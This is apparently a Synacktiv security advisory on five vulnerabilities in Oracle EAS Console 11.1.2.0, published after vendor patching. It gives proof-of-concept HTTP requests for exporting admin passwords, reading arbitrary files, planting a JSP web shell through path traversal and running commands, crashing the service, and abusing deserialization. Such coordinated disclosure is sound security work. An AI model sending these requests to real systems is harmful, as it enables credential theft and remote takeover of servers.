SYNACKTIV
DIGITAL SECURITY

Multiple vulnerabilities in Oracle EAS Console version 11.1.2.0

Security advisory

2023-02-02

Paul Barbé
Guillaume Jacques
Théo Louis-Tisserand

Vulnerabilities description

About Oracle EAS Console

Essbase Administration Services Console makes Essbase administration tasks easy to perform. The console provides wizards, editors, dynamic menus, and other tools to help you implement, monitor, and maintain Essbase.[1].

The issues

Synacktiv discovered multiple vulnerabilities in Oracle EAS Console:

- Dangerous features allowing to
  - Export the user database
  - List directories of the server
  - Read arbitrary files of the server
- Path traversal allowing to
  - Open any file of the server
  - Save a script at any location on the server with a chosen extension
- Denial of service
- Deserialization of untrusted data
- Full path disclosure

Affected versions

At the time of writing, the version 11.1.2.0 was proven to be affected.

Timeline

Date	Action
2021-05-20	Advisory sent to Oracle.
2021-05-21	Answer from Oracle.
2021-07-16	Oracle asking for more information regarding CVE-2021-35653 and CVE-2021-35652.
2021-10-19	Patch for CVE-2021-35653, CVE-2021-35654, CVE-2021-35651, CVE-2021-35652, CVE-2021-35655.[2]
2023-02-02	Advisory release.

1 https://docs.oracle.com/cd/E57185_01/EASOH/about_ui.html
2 https://www.oracle.com/security-alerts/cpuoct2021.html

Technical description and proof-of-concept

1. Dangerous features – CVE-2021-35653

Most of the actions done on EAS Console result in a POST request:

```
POST /eas/eas HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: [...]
Connection: close
Content-Length: 166

PersistKey=MDXEditorSettings&REQ_ID=1d224fc1-53db-4612-a275-b142cd695481_bdc6d540-89b2-
4e66-8386-c0518cd090bc&op=com.essbase.eas.admin.defs.AdminCommands.RetrieveData
```

The *op* parameter actually contains the administration command to be called. By reviewing the code of the application and especially the code in *eas_common.jar*, some sensitive and dangerous functions were found. For example, an authenticated non-administrator user can perform the following operations:

- Export the user database, in which passwords for administrator accounts can be retrieved:

```
POST /eas/eas HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: [...]
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/11.0.9.1
Host: [...]
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-Length: 62

op=com.essbase.eas.admin.defs.AdminServerPropCommands.ExportDB

HTTP/1.1 200 OK
Date: Fri, 16 Apr 2021 12:38:29 GMT
Server: Microsoft-IIS/10.0
X-ORACLE-DMS-ECID: [...]
X-ORACLE-DMS-RID: 0
X-Powered-By: ASP.NET
Content-Length: 47481
Vary: User-Agent
Connection: close

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<EASFrameworkTransferObject>
      <object class="com.essbase.eas.framework.defs.command.CommandStatus">
            <property class="java.lang.String" method="setMessage"
value="com.essbase.eas.admin.defs.AdminServerPropCommands.ExportDB"/>
            <property class="int" method="setLevel" value="0"/>
            <property class="int" method="setStatus" value="0"/>
            <property class="int" method="setNumber" value="0"/>
      </object>
      <object class="java.lang.String"
initializer="<EASData><EASUsers>[...]<EASUser><id>6</id><username>[...]</
username><password>[...]</password><supervisor>true</supervisor><fullName></
fullName><email></email><roles></roles><external>true</external><migrated>true</
migrated><identity>[...]</identity></EASUser>[...]
```

- List content of any server's directory:

```
POST /eas/eas HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: [...]
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/11.0.9.1
Host: [...]
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-Length: 89

op=com.essbase.eas.defs.FileDownloadCommands.GetDirectoryFiles&downloadserverfilename=C:\

HTTP/1.1 200 OK
Date: Fri, 16 Apr 2021 13:12:16 GMT
Server: Microsoft-IIS/10.0
X-ORACLE-DMS-ECID: [...]
X-ORACLE-DMS-RID: 0
X-Powered-By: ASP.NET
Content-Length: 4165
Vary: User-Agent
Connection: close

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<EASFrameworkTransferObject>
<object class="com.essbase.eas.framework.defs.command.CommandStatus"><property
class="java.lang.String" method="setMessage" value=""/>
<property class="int" method="setLevel" value="0"/>
<property class="int" method="setStatus" value="1"/>
<property class="int" method="setNumber" value="0"/>
</object>
<object class="com.essbase.eas.defs.DefaultFileName">
<property class="java.lang.String" method="setFileName" value="C:\[...]"/>
</object>
<object class="com.essbase.eas.defs.DefaultFileName">
<property class="java.lang.String" method="setFileName" value="C:\[...]"/>
</object>
<object class="com.essbase.eas.defs.DefaultFileName">
<property class="java.lang.String" method="setFileName" value="C:\[...]"/>
</object>[...]
```

- Read any file on the server:

For that purpose, two requests have to be sent. The first one is done to initialize the download of the selected file:

```
POST /eas/eas HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: [...]
Cache-Control: no-cache
User-Agent: Java/11.0.9.1
Host: [...]
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-Length: 166

op=com.essbase.eas.defs.FileDownloadCommands.DownloadBegin&downloadserverfilename=C:\
[...]config.xml

HTTP/1.1 200 OK
```

A second request is issued to get the file contents:

```
POST /eas/eas HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: [...]
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/11.0.9.1
Host: [...]
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-Length: 169

op=com.essbase.eas.defs.FileDownloadCommands.DownloadContinue&downloadserverfilename=C:\
[...]config.xml

HTTP/1.1 200 OK
Date: Fri, 16 Apr 2021 13:32:43 GMT
Server: Microsoft-IIS/10.0
X-ORACLE-DMS-ECID: [...]
X-ORACLE-DMS-RID: 0
X-Powered-By: ASP.NET
Content-Length: 30480
Vary: User-Agent
Connection: close

[...]
```

2. Path traversal – CVE-2021-35651

EAS Console uses user input to construct a pathname that is intended to identify a file or a directory that is located underneath a restricted parent directory.

However, the application does not properly neutralize special elements within the pathname which can cause the pathname to resolve to a location that is outside the restricted directory.

An authenticated user can leverage this behavior to perform the following operations:

- Open any file of the underlying system:

```
POST /eas/eas HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: [...]
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/11.0.9.1
Host: [...]
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-Length: 389

BinaryMessage=true&objectname=..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.
.\..\Windows\win.ini&ObjectType=mdxscripts&REQ_ID=29a07ae5-9781-4d50-9223-
fce2263e6237_443315cf-b631-4c3f-9c82-
f9921c3c51ff&shared=&username=[...]&op=com.essbase.eas.essbase.defs.EssbaseFileObjectComman
ds.readEASFile


HTTP/1.1 200 OK
Date: Mon, 19 Apr 2021 15:15:34 GMT
Server: Microsoft-IIS/10.0
X-ORACLE-DMS-ECID: ed088b56-bdd5-4312-8aaa-3dd8d11a8ddd-00000198
X-ORACLE-DMS-RID: 0
X-Powered-By: ASP.NET
Content-Length: 1230
Vary: User-Agent
Connection: close

[...]
```

- Save a script at any location on the system with a chosen extension:

The user can create for instance MDX scripts. This new script can contain a simple JSP shell (https://gist.github.com/nikallass/5ceef8c8c02d58ca2c69a29a92d2f461). In the following request, the script is saved under the root directory of the application WAR:

```
POST /eas/eas HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: [...]
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/11.0.9.1
Host: [...]
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-Length: 381
```

```
objectname=..%5C..%5C..%5C..%5C..%5C[...]EAS_11.1.2.0%5Cf***l%5Cwar
%5Cexecute.jsp&REQ_ID=e58adf97-5054-4af1-9b3b-7151397a146c_be136481-35d6-41db-90d1-
9667d78fe137&ObjectType=mdxscripts&shared=&username=&op=com.essbase.eas.essbase.defs.EssbaseFileObjectCommands.saveEASFile

HTTP/1.1 200 OK
Date: Mon, 19 Apr 2021 07:36:22 GMT
```

It is then possible to execute any command on the underlying system as shown below:

```
GET /easconsole/execute.jsp?cmd=cmd.exe+/C+dir HTTP/1.1
Host: [...]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Connection: close


HTTP/1.1 200 OK
Date: Tue, 27 Apr 2021 09:19:05 GMT
Content-Type: text/html; charset=ISO-8859-1
X-ORACLE-DMS-ECID: [...]
X-ORACLE-DMS-RID: 0
X-Powered-By: ASP.NET
Content-Length: 2162
Set-Cookie: [...]
Vary: Accept-Encoding,User-Agent
Connection: close
Set-Cookie: [...]

<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
Command: cmd.exe /C dir<BR>
 Volume in drive C has no label.
 Volume Serial Number is 48D1-8488

 Directory of C:\[...]
```

3. Denial of service – CVE-2021-35654

EAS Console does not properly handle unexpected requests.

Issuing the *com.essbase.eas.essbase.defs.ServerCommands.LoginSetPassword* command with an empty value for *password* results in the application becoming unavailable :

```
POST /eas/eas HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/11.0.9.1
Host: [...]
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-Length: 129

servername=[...]&username=[...]&password=&newpassword=[...]&op=com.essbase.eas.essbase.defs
.ServerCommands.LoginSetPassword


HTTP/1.1 503 Service Unavailable
Date: Mon, 19 Apr 2021 15:24:20 GMT
Content-Type: text/html
Content-Length: 207
Vary: User-Agent
Connection: close

[...]
```

No authentication is required to make this request.

4. Deserialization of untrusted data – CVE-2021-35652

EAS Console deserializes untrusted data without sufficiently verifying that the resulting data will be innocuous.

EAS Console uses its own serialization method to serialize objects to XML using the *EASFrameworkTransferObject* class. No check is performed on the classes that can be instanciated during the deserialization.

For exemple, it is possible to create an empty file in an arbitrary location using the *java.io.FileWriter* class:

```
POST /eas/eas HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=[...]; path=/eas; HttpOnly;
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_171
Host: [...]
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-Length: 421

servername=[...]&appname=[...]&tscommand=<@urlencode><?xml version="1.0" encoding="UTF-8"
standalone="no"?><EASFrameworkTransferObject><object class="java.io.FileWriter"
initializer="C:\synacktiv.txt"></object></EASFrameworkTransferObject><@/
urlencode>&REQ_ID=[...]&op=AppSetTableSpaceInfo
```

If the file already exists, this will clear its content, leading to denial of service possibilities.

5. Full path disclosure – CVE-2021-35655

The application discloses information regarding filesystem paths.

This disclosure has been found on EAS Console when reading files such as scripts or reports from the server:

```
POST /eas/eas HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: [...]
Connection: close
Content-Length: 238

BinaryMessage=true&objectname=test.jnlp&ObjectType=mxlscripts&REQ_ID=c32fb19c-e27f-4f39-
8d94-bdf7a9b4ef39_2dc23902-7d62-4f78-8382-
3d8f069712cf&shared=&username=[...]&op=com.essbase.eas.essbase.defs.EssbaseFileObjectComman
ds.readEASFile

HTTP/1.1 200 OK
Content-Length: 1480
Connection: close

PK
[...]
C:\Oracle\Middleware\[...]XMLFILE__14__easmsgs.xml[...]
C:\Oracle\Middleware\[...]\test.jnlp[...]
```